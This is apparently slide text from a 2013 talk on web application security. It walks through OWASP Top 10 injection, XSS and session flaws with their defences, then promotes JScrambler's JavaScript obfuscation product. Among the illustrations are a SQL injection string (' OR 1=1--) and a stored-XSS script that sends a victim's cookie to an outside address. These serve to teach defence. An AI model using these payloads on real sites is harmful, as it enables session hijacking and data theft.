Pedro FortunaCo-founder and CTO

Protecting the code of Web Applications

ISEP, June 19th 2013

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Web Application Security

JScrambler

JavaScript Obfuscation

Agenda

+webNEXT

Web Application Security

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Where things went wrong?

Web Browser

Web Server

GET /index.html

static text

Content delivery system

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Where things went wrong?

Web Browser

Web Server

GET /index.html

static text

Content delivery system

Web Browser

Web Server

GET /form.php?id=2&name=pedro%20fortuna

dynamically generated response

Application delivery systemDB

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• Users can submit arbitrary data to the server• This includes all non-obvious sources of data that can be used

by the application (cookies, HTTP headers)• Data is mixed with all sorts of code (HTML, JavaScript, CSS,

SQL)• Complex to filter, escape and output-encode data

Where things went wrong?

"uma frase aleatória"

"uma frase aleatória"

HTML escaping

<?PHP$place = 'Peter's Pizza';print $place;?>

DB

<?PHP$place = 'Peter\'s Pizza';print $place;?>

DB

PHP string escaping

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OWASP Top 10 2010 edition

A1: Injection A2: Cross-Site Scripting (XSS)

A3: Broken Authentication and

Session Management

A4: Insecure Direct Object References

A5: Cross Site Request Forgery

(CSRF)

A6: Security Misconfiguration

A7: Failure to Restrict URL Access

A8: Insecure Cryptographic

Storage

A9: Insufficient Transport Layer

Protection

A10: Unvalidated Redirects and

Forwards

http://www.owasp.org/index.php/Top_10

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A1 - Injection

•Tricking an application into including unintended commands in the data sent to an interpreter

Injection means…

•Take strings and interpret them as commands•SQL, OS Shell, LDAP, XPath, etc…

Interpreters…

•Many applications still susceptible•Even though it’s usually very simple to avoid

SQL injection is still quite common

•Usually severe. Entire database can usually be read or modified•May also allow full database schema, or account access, or even OS level access

Typical Impact

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SQL Injection - Illustrated

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Hardened OS

Web Server

App Server

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Dat

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Leg

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Web

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Dir

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Hum

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Bil

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Custom Code

APPLICATIONATTACK

Net

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Lay

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Acc

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Fin

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Adm

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HTTP request

SQL

query

DB Table

HTTP respons

e

"SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’"

1. Application presents a form to the attacker

2. Attacker sends an attack in the form data

3. Application forwards attack to the database in a SQL query

Account Summary

Acct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-0293

4. Database runs query containing attack and sends encrypted results back to application5. Application decrypts data as normal and sends results to the user

Account:

SKU:

Account:

SKU:

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• Recommendations1. Avoid the interpreter entirely, or2. Use an interface that supports bind variables (e.g., prepared statements, or

stored procedures),• Bind variables allow the interpreter to distinguish between code and data

3. Encode all user input before passing it to the interpreter– Always perform ‘white list’ input validation on all user supplied input– Always minimize database privileges to reduce the impact of a flaw

• References– For more details, read http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

A1 – Avoiding Injection Flaws

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A2 – Cross-Site Scripting (XSS)

• Raw data from attacker is sent to an innocent user’s browser

Occurs any time…

• Stored in database• Reflected from web input (form field, hidden field, URL, etc…)• Sent directly into rich JavaScript client

Raw data…

• Try this in your browser – javascript:alert(document.cookie)

Virtually every web application has this problem

• Steal user’s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site

• Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites

Typical Impact

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Cross-Site Scripting (XSS) Illustrated

Application with stored XSS vulnerability

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Attacker sets the trap – update my profile

Attacker enters a malicious script into a web page that stores the data on the server

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Victim views page – sees attacker profile

Script silently sends attacker Victim’s session cookie

Script runs inside victim’s browser with full access to the DOM and cookies

Custom Code

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Hello my name is Peter<script>XSSImage=new Image; XSSImage.src="http://1.2.3.4/catcher?cookie="+document.cookie);</script>

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• Recommendations– Eliminate Flaw

• Don’t include user supplied input in the output page

– Defend Against the Flaw• Primary Recommendation: Output encode all user supplied input (Use OWASP’s

ESAPI to output encode:http://www.owasp.org/index.php/ESAPI

• Perform ‘white list’ input validation on all user input to be included in page• For large chunks of user supplied HTML, use OWASP’s AntiSamy to sanitize this HTML

to make it safe See: http://www.owasp.org/index.php/AntiSamy

• References– For how to output encode properly, read the new

http://www.owasp.org/index.php/XSS_(Cross Site Scripting) Prevention Cheat Sheet

A2 – Avoiding XSS flaws

14Safe Escaping Schemes in Various HTML Execution Contexts

CSS Style Property Values

(e.g., .pdiv a:hover {color: red; text-decoration: underline} )

JavaScript Data(e.g., <script> some javascript </script> )

HTML Attribute Values(e.g., <input name='person' type='TEXT'

value='defaultValue'> )

HTML Element Content(e.g., <div> some text to display </div> )

URI Attribute Values(e.g., <a href="javascript:toggle('lesson')" )

#4: All non-alphanumeric < 256 \HHESAPI: encodeForCSS()

#3: All non-alphanumeric < 256 \xHHESAPI: encodeForJavaScript()

#1: ( &, <, >, " ) &entity; ( ', / ) &#xHH;ESAPI: encodeForHTML()

#2: All non-alphanumeric < 256 &#xHHESAPI: encodeForHTMLAttribute()

#5: All non-alphanumeric < 256 %HHESAPI: encodeForURL()

Recommendation: Only allow #1 and #2 and disallow all othersSee: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for more details

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A3 – Broken Authentication and Session Management

• Means credentials have to go with every request• Should use SSL for everything requiring authentication

HTTP is a “stateless” protocol

• SESSION ID used to track state since HTTP doesn’t• and it is just as good as credentials to an attacker

• SESSION ID is typically exposed on the network, in browser, in logs, …

Session management flaws

• Change my password, remember my password, forgot my password, secret question, logout, email address, etc…

Beware the side-doors

• User accounts compromised or user sessions hijacked

Typical Impact

16A3 – Broken Authentication Illustrated

Custom Code

Acc

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Fin

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Bu

s. F

un

ctio

ns1 User sends

credentials

2Site uses URL rewriting(i.e., put session in URL)

3 User clicks on a link to http://www.hacker.com in a forum

www.foo.com?JSESSIONID=9FA1DB9EA...

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Hacker checks referer logs on www.hacker.com

and finds user’s JSESSIONID5 Hacker uses

JSESSIONID and takes over victim’s account

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• Verify your architecture– Authentication should be simple, centralized, and standardized– Use the standard session id provided by your framework (e.g. PHP Zend)– Be sure SSL protects both credentials and session id at all times

• Verify the implementation– Check your SSL certificate– Examine all the authentication-related functions– Verify that logoff actually destroys the session– Make the session expire – Make the session unmovable (function(IP_ADDRESS))

• Follow the guidance from– http://www.owasp.org/index.php/Authentication_Cheat_Sheet

A3 – Avoiding Broken Authentication and Session Management

+JSNEXT

JScrambler

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Who we are ?

Vision: we believe that the strongest approach to Web Security should be to put the 1st line of defense on the client-side

Mission: to be a leader in Web Application Protection technology

Vision/Mission

Top Web Security Team30Y of combined experience

Being advised by Pereira Ventures in its International Expansion

The Company

Leaders in JavaScript Obfuscation since 2010Started in late 2008

Following the vision that software and data are migrating rapidly to the web, but security isn’t evolving at the same pace.

Innovative Web Security Solutions

The Start

Top 100 European Startup in 2009

In the European Unlimited Eurecan European Contest

Awards

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Web Traffic

Auditing

What do we do?

Security Services

Web Application

Security

JavaScript Source code protection Obfuscates JS/HTML5 WebAppsProtects the code from being stolen, inspected, tampered with

Enterprise Web Application Protection against Man int the Browser and other security attacks

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What is the world’s most popular language ?

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3+ Years Protecting Apps

Rele

ase H

isto

ry+

3 Y

EA

RS

PR

OTEC

TIN

G W

EB

AP

PLIC

ATIO

NS

2010-04Beta version

2010-101.0 released

2012-062.0 released

2013-043.0 released

JS lines of code

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MILLION PROTECTED

106

Countries

5000

Clients

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Customer

“JScrambler results look promising”

ROVIO

JScrambler Feedback

Customer

"We are trying to push the envelope and it’s good to have a nimble partner that is aggressive at achieving this”

RSA SECURITY

NEWS

“JScrambler does seem to offer the most complete solution. Out of the box, it should work with most of the standard libraries”

TECHCRUNCH

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JavaScript

HTML5/JavaScript

Mobile Web Applications

Web Games

Obfuscation

JScrambler

JavaScript

Domain Lock

Expiration Date

Anti-debugging

Code Execution ControlJavaScript

Code Simplification

Dead Code Removal

Compression

Optimization

State of the art Web Application Protection and Optimization

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JScramblerObfuscation: The art of making code unreadable

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JScramblerCode Execution Control

Expiration Date

Anti Debugging

Domain Lock

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JavaScript Obfuscation

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We look forward for you contact and feedback

Questions

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Contact Us

Porto Headquarters

Edifício Central da UPTECRua Alfredo Allen, 4554200-135 Porto, Portugal

auditmark.com

Lisbon OfficeRua da Prata 121 5º A 1100-415 Lisboa Portugal

Pedro FortunaCTO pedro.fortuna@auditmark.com+351 917331552